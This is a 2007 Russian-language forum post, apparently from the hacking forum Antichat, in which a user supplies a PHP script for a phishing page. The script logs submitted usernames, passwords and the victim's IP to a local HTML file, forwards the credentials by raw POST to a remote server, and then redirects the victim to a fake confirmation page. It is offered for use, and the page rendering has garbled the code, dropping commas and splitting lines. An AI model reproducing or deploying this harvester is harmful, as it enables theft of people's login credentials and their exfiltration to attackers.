Показать сообщение отдельно

  #4  
Старый 29.08.2007, 10:43
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Используй такой скрипт:

PHP код:
<?php

    
// Удалённый серв
    
define("REMOTE_HOST""somehost.somedomain");

    
// Удалённый скрипт (идентичный данному, только на другом сервере)
    
define("REMOTE_RESOURCE""blablabla.php");

    
// Порт - по умолчанию стандарт для HTTP
    
define("REMOTE_PORT"80);

    
$file "logs.html";   // Имя лога

    
$date date("d.m.Y H:i");   // Дата записи

    // Инициализация переменной с юзером
    
$user "";
    if (isset(
$_POST["username"])) $user strval($_POST["username"]);

    
// Инициализация переменно с пассом
    
$pass "";
    if (isset(
$_POST["password"])) $pass strval($_POST["password"]);

    
// Айпишник юзера
    
$ip strval($_SERVER["REMOTE_ADDR"]);

    
// Форматируем данные для записи
    
$entry  "<br>----------<br><br>\n";
    
$entry .= sprintf("Date: %s<br>\n"$date);
    
$entry .= sprintf("Username: %s<br>\n"$user);
    
$entry .= sprintf("Password: %s<br>\n"$pass);
    
$entry .= sprintf("IP: %s<br>\n"$ip);

    
$fp fopen($file"a+");   // Открытие файла

    
if (!$fp) die("Can't perform operation!");   // Ошибочка
   
if (!fwrite($fp$entry)) die("Can't perform operation!");   // Запись

   
fclose($fp);   // Закрытие

    // Если в передаваемых переменных отсутствует nosend или
    // она не равна true, то вызываем отправку на удалённый сервер.
    // Это нам позволит избежать замкнутой цепочки
    
if (!isset($_POST["nosend"]) || $_POST["nosend"] != "true") {

        
// Тело запроса
        
$query sprintf("username=%s&password=%s&nosend=true"$user$pass);

        
// Заголовки запроса + тело
        
$send  sprintf("POST %s HTTP/1.1\r\n"REMOTE_RESOURCE);
        
$send .= sprintf("Host: %s\r\n"REMOTE_HOST);
        
$send .= "User-Agent: DaMaGeLaB Crawler\r\n";
        
$send .= "Accept: */*\r\n";
        
$send .= "Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\n";
        
$send .= "Pragma: no-cache";
        
$send .= sprintf("Content-Length: %d"strlen($query));
        
$send .= "Connection: Close\r\n\r\n";
        
$send .= $query;

        
// Соединяемся
        
$socket fsockopen(REMOTE_HOSTREMOTE_PORT$errno$errstr60);
        if (!
$socket) die("Can't perform operation!");

        
// Делаем POST запрос
        
$ret fwrite($socket$send);
        if (!
$ret) die("Can't perform operation!");

        
// Читаем ответ
        
$buffer "";
        while (!
feof($socket)) {
            
$buffer .= fgets($socket1024);
        }

        
fclose($socket);

        
// Парсим на заголовки и тело
        
list($headers$content) = preg_split("/\r\n\r\n/"$buffer2);

        
// Если пришла какая-то лажа, то выход
        
if (strlen($content) <= || strlen($headers) <= 0)
            die(
"Send failed. Responce is not reqular!");

        
// Получаем код ответа из заголовков
        
$code intval(substr($headers93));
        if (
$code != 200) die("Send failed. Responce code is not 200!");
    }

    
header("Location: confirmation.html");   // Перенаправление

?>

Последний раз редактировалось groundhog; 29.08.2007 в 11:07..
 
Ответить с цитированием